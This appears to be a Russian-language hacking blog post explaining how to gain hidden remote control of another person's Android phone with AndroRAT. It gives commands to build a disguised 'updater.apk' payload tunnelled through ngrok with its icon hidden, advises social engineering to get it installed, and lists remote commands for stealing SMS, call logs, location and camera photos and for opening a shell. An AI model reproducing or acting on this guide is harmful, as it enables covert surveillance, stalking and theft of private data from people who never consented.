Hacking
March 19, 2022

Удаленный доступ к чужому смартфону

Рассказываю о том, как получить скрытый удаленный контроль над смартфоном с помощью AndroRAT

Салют, Аноним! На связи Golden - глава Hacker Place

В сегодняшней статье мы с тобой рассмотрим еще один способ удаленного контроля и мониторинга активности смартфона на базе Android. В этом нам поможет бесплатный инструмент AndroRAT. Далее я подробно покажу, как установить и использовать AndroRAT на Kali Linux.


Способы удаленного контроля телефона

Существует множество различных способов удаленного контроля телефона. Мы уже рассказывали о лучших мобильных шпионах. У них богатый функционал, но все они платные. Кроме этого, они работают, как посредник, т.е. вся информация активности телефона хранится не у вас, а на сервере разработчика мобильного шпиона. Они лишь предоставят удобный доступ к полученной информации, посредством панели управления на своем сайте.

Сегодня я предлагаю рассмотреть бесплатный способ удаленного контроля телефона, с помощью AndroRAT и Kali Linux.

Для удаленного контроля телефона нужно:

  • Установить АндроРАТ на Kali Linux.
  • Установить и настроить ngrok.
  • Создать полезную нагрузку (исполняемый файл .apk).
  • Установить apk-файл на целевое устройство.

Удаленный контроль телефона с помощью AndroRAT

AndroRAT (Remote Access Tool/Trojan. AndroRAT) — предназначен для удаленного управления телефоном Android. Это клиент-серверное приложение, разработанное на Java Android для клиентской части, а серверная часть написана на Python.

Инструмент будет работать на устройствах от Android 4.1 (Jellybean), Android 9 (Oreo), (от API 16 до API 28). Данный RAT может быть установлен на Android 10 и выше, но некоторые команды для получения информации могут работать не совсем стабильно.

Возможности AndroRAT:

  • Бэкдор (автоматическое подключение).
  • Невидимый значок после установки.
  • Использует минимальные ресурсы устройства.
  • Автоматический запуск после перезагрузки смартфона.
  • Возможность делать снимки с обеих камер
  • Запись аудио с микрофона.
  • Просмотр журнала звонков и SMS.
  • Получение текущего местоположения.
  • Данные о SIM-карте, IP-адресе и MAC-адресе устройства.

Как установить AndroRAT на Kali Linux

Для работы АндроРАТ нужен Python3. Для установки Python3 на Kali, используйте команду:

sudo apt install python3 python3-pip

Теперь необходимо установить Java OpenJDK:

Зайдите на официальный сайт Oracle, создайте учетную запись Oracle и войдите используя данные учетной записи.

После регистрации и входа в систему перейдите на страницу загрузки OpenJDK. Прокрутите вниз и найдите версию OpenJDK 8.

Отметив галочкой лицензионное соглашение, нажмите на ссылку jdk-8u321-linux-x64.tar.gz.

После окончания загрузки, откройте терминал и зайдите в /usr/lib/jvm:

cd /usr/lib/jvm

Если в системе не установлены другие версии Java, тогда придется создать каталог jvm в /usr/lib:

sudo mkdir -p /usr/lib/jvm

Извлеките архив OpenJDK:

sudo tar -xvzf ~/Downloads/jdk-8u321-linux-x64.tar.gz

После извлечения файлов, перейдите в каталог jdk1.8.0_321:

cd jdk1.8.0_321

Теперь необходимо изменить переменные среды Java с помощью текстового редактора (в моем случае используется текстовый редактор Nano):

sudo nano /etc/environment

На скрине выше видно, что некоторые пути уже установлены. Добавьте другие используя символ : :

/usr/lib/jvm/jdk1.8.0_321/bin:/usr/lib/jvm/jdk1.8.0_321/db/bin:/usr/lib/jvm/jdk1.8.0_321/jre/bin

Сохраните изменения, используя сочетание клавиш «CTRL+X», затем «Y» и «Enter».

Установите OpenJDK 8 в качестве альтернативы:

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_321/bin/java" 0

Установите компилятор Java:

sudo update-alternatives --install "/usr/bin/java" "java" "/usr/lib/jvm/jdk1.8.0_321/bin/javac" 0

Теперь можно установить Java OpenJDK 8:

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_321/bin/java

Для компилятора Java используйте команду:

sudo update-alternatives --set java /usr/lib/jvm/jdk1.8.0_321/bin/javac

Вывод этих команд показан на следующем снимке экрана:

Выберите версию Java (сделать это можно из любого каталога):

sudo update-alternatives --config java

На приведенном выше снимке экрана вы увидите, что версия Java 8 находится под номером 2, а версия Java 11 — под номером 0.

Для переключения между версиями выберите соответствующий номер. В моем случае — это 2:

Отлично, теперь у нас используется Java 8, идем дальше!

Следующий шаг клонирование (установка) AndroRAT на Kali:

git clone https://github.com/karma9874/AndroRAT

Переходим в каталог АндроРАТ с помощью команды mv:

mv AndroRAT

Устанавливаем зависимости AndroRAT:

pip3 install -r requirements.txt

После этого нужно установить ngrok и установить токен аутентификации ngrok.

Для создания файла APK нужно выполнить команду:

python3 androRAT.py --build --ngrok -p 8888 -o ~/Desktop/updater.apk

Аргумент --build используемый в команде использует скрипт python androRAT.py и создает полезную нагрузку (файл .apk). Аргумент --ngrok используется для удаленного подключения через ngrok.

В локальной сети можно не использовать ngrok и запустить команду с параметром -i. После чего будет запущен слушатель ожидающий обратного подключения.

Для выбора иконки приложения можно использовать аргумент --icon. В моем случае я хочу получить скрытый удаленный доступ к смартфону, поэтому пропускаю данную настройку.

Параметр -o отвечает за выбор порта и местоположение файла .apk.

На скрине выше мы видим, что AndroRAT создает и подписывает файл .apk. После создания файла будет запущен прослушиватель, ожидающий подключение:

Теперь можно отправить apk-файл на смартфон. Если у вас есть нет физического доступа к устройству, тогда можно применить методы социальной инженерии.


Как использовать AndroRAT на Kali Linux

Для примера, установим АндроРАТ на мой личный планшет. После установки файла на целевом устройстве, вы увидите следующее сообщение в терминале Kali:

Соеденение установлено. Теперь, для взаимодействия с программой, будем использовать команды:

  • deviceInfo — основная информация об устройстве.
  • camList — идентификатор камеры.
  • takepic [идентификатор камеры] — снимок с камеры.
  • startVideo [ID камеры] — запись видео.
  • stopVideo — остановить запись видео и открыть видеофайл.
  • startAudio — запись звука.
  • stopAudio — остановить запись звука.
  • getSMS [inbox|sent] — входящие / отправленные смс.
  • getCallLogs — история вызовов.
  • shell — запуск оболочки sh.
  • vibrate [количество_раз] — вибрация.
  • getLocation — местоположение устройства.
  • getIP — ip устройства.
  • getSimDetails — информация о всех sim-картах.
  • clear — очистка экрана.
  • getClipData — данные из буфера обмена.
  • getMACAddress — mac-адрес устройства.
  • exit — выход.

Например, для получения всех СМС запустим команду getSMS:

На скрине выше, можете видеть, как были получены все СМС и сохранены в файл .txt, в каталоге «Dumps»

Точно так же, если мы хотим сделать снимок с камеры, нужно запустить команду camList. После чего появится список всех камер телефона. Затем мы можно сделать снимок с помощью команды

takepic [номер камеры]

Мы также можем получить доступ к устройству терминала и еще много чего интересного. Пробуйте!


- Легко! Ведь именно ​этому мы и обучаем в нашей AKADEМИИ. Кстати, уже совсем скоро грядет ее масштабное обновление. Следите за каналом, будет очень горячо 🔥